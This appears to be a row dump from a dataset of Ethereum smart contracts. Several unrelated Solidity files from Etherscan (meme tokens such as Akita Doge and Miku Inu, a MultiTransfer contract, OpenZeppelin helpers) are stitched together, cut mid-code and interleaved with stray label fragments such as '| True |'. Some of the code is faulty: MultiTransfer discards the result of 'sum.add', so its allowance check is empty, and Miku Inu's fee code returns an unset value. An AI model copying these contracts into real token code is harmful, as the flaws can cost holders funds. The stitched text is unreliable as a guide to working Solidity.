uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
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/**
*Submitted for verification at Etherscan.io on 2021-05-14
*/
pragma solidity ^0.5.2;
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_transfer(from, to, value);
_approve(from, msg.sender, _allowed[from][msg.sender].sub(value));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue));
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _approve(address owner, address spender, uint256 value) internal {
require(spender != address(0));
require(owner != address(0));
_allowed[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _burnFrom(address account, uint256 value) internal {
_burn(account, value);
_approve(account, msg.sender, _allowed[account][msg.sender].sub(value));
}
}
contract ERC20Burnable is ERC20 {
function burn(uint256 value) public {
_burn(msg.sender, value);
}
function burnFrom(address from, uint256 value) public {
_burnFrom(from, value);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
contract ADOGE is ERC20, ERC20Detailed, ERC20Burnable {
constructor() ERC20Detailed('Akita Doge', 'ADOGE', 0) public {
_mint(msg.sender, 10_000_000);
}
} | True | [
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] |
pragma solidity ^0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Exponentiation two numbers, throws on overflow.
*/
function pow(uint256 a, uint256 b) internal pure returns (uint256) {
assert(a ** b > 0);
return a ** b;
}
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20StandardToken {
string public name;
string public symbol;
uint8 public decimals;
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
}
contract MultiTransfer {
using SafeMath for uint256;
/*
* @dev. Get ERC20 Standard Token detail information
*/
function name(address _token) public view returns(string) { return ERC20StandardToken(_token).name(); }
function symbol(address _token) public view returns(string) { return ERC20StandardToken(_token).symbol(); }
function decimals(address _token) public view returns(uint8) { return ERC20StandardToken(_token).decimals(); }
/*
* @dev. Get allowed balance of contract at token
*/
function allowance(address _token) public view returns(uint256) { return ERC20StandardToken(_token).allowance(msg.sender, address(this)); }
/*
* @dev. Transfer allowed token
*/
function transfer(address _token, address[] _to, uint256[] _value) public returns(bool) {
// Check invalid request
require(_to.length != 0);
require(_value.length != 0);
require(_to.length == _value.length);
uint256 sum = 0;
// Check receiver effectiveness
for (uint256 i = 0; i < _to.length; i++) {
require(_to[i] != address(0));
sum.add(_value[i]);
}
// Check allowed token balance effectiveness
assert(allowance(_token) >= sum);
// Send token
for (i = 0; i < _to.length; i++) {
require(ERC20StandardToken(_token).transferFrom(msg.sender, _to[i], _value[i]));
}
return true;
}
} | True | [
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] | [
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] |
/**
*Submitted for verification at Etherscan.io on 2021-05-12
*/
/**
* Easy 100x: Hatsune Miku adopts INU
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract MikuInu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 500000000000000 * 10**18;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tBurnTotal;
string private _name = 'MIKU INU';
string private _symbol = 'MIKINU';
uint8 private _decimals = 18;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tBurnTotal = _tBurnTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already included");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee,uint256 tBurnValue,uint256 tTax,uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee, tBurnValue,tTax,tLiquidity);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee,uint256 tBurnValue,uint256 tTax,uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee, tBurnValue,tTax,tLiquidity);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee,uint256 tBurnValue,uint256 tTax,uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee, tBurnValue,tTax,tLiquidity);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee,uint256 tBurnValue,uint256 tTax,uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee, tBurnValue,tTax,tLiquidity);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee, uint256 tBurnValue,uint256 tTax,uint256 tLiquidity) private {
_rTotal = _rTotal.sub(rFee);
_tBurnTotal = _tBurnTotal.add(tFee).add(tBurnValue).add(tTax).add(tLiquidity);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256,uint256,uint256,uint256) {
uint256[12] memory _localVal;
(_localVal[0]/**tTransferAmount*/, _localVal[1] /**tFee*/, _localVal[2] /**tBurnValue*/,_localVal[8]/*tTAx*/) = _getTValues(tAmount);
_localVal[3] /**currentRate*/ = _getRate();
( _localVal[4] /**rAmount*/, _localVal[5] /**rTransferAmount*/, _localVal[6] /**rFee*/, _localVal[7] /**rBurnValue*/,_localVal[9]/*rTax*/) = _getRValues(tAmount, _localVal[1], _localVal[3], _localVal[2],_localVal[8]);
return (_localVal[4], _localVal[5], _localVal[6], _localVal[0], _localVal[1], _localVal[2],_localVal[8],_localVal[10]);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256, uint256,uint256) {
uint256[5] memory _localVal;
_localVal[0]/**tTax*/ = tAmount.div(100).mul(5);
_localVal[1]/**tBurnValue*/ = tAmount.div(100).mul(3);
_localVal[2]/**tFee*/ = tAmount.div(100).mul(2);
_localVal[4]/**tTransferAmount*/ = tAmount.sub(_localVal[2]).sub(_localVal[1]).sub(_localVal[0]);
return (_localVal[4], _localVal[2], _localVal[1],_localVal[0]);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate, uint256 tBurnValue,uint256 tTax) private pure returns (uint256, uint256, uint256,uint256,uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurnValue = tBurnValue.mul(currentRate);
//uint256 rLiqidity = tLiquidity.mul(currentRate);
uint256 rTax = tTax.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurnValue).sub(rTax);
return (rAmount, rTransferAmount, rFee, rBurnValue,rTax);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
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/**
*Submitted for verification at Etherscan.io on 2021-04-27
*/
// File: @openzeppelin/contracts-ethereum-package/contracts/Initializable.sol
pragma solidity >=0.4.24 <0.7.0;
/**
* @title Initializable
*
* @dev Helper contract to support initializer functions. To use it, replace
* the constructor with a function that has the `initializer` modifier.
* WARNING: Unlike constructors, initializer functions must be manually
* invoked. This applies both to deploying an Initializable contract, as well
* as extending an Initializable contract via inheritance.
* WARNING: When used with inheritance, manual care must be taken to not invoke
* a parent initializer twice, or ensure that all initializers are idempotent,
* because this is not dealt with automatically as with constructors.
*/
contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private initializing;
/**
* @dev Modifier to use in the initializer function of a contract.
*/
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function isConstructor() private view returns (bool) {
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effective way to detect if a contract is
// under construction or not.
address self = address(this);
uint256 cs;
assembly { cs := extcodesize(self) }
return cs == 0;
}
// Reserved storage space to allow for layout changes in the future.
uint256[50] private ______gap;
}
// File: @openzeppelin/contracts-ethereum-package/contracts/GSN/Context.sol
pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract ContextUpgradeSafe is Initializable {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
uint256[50] private __gap;
}
// File: @openzeppelin/contracts-ethereum-package/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol
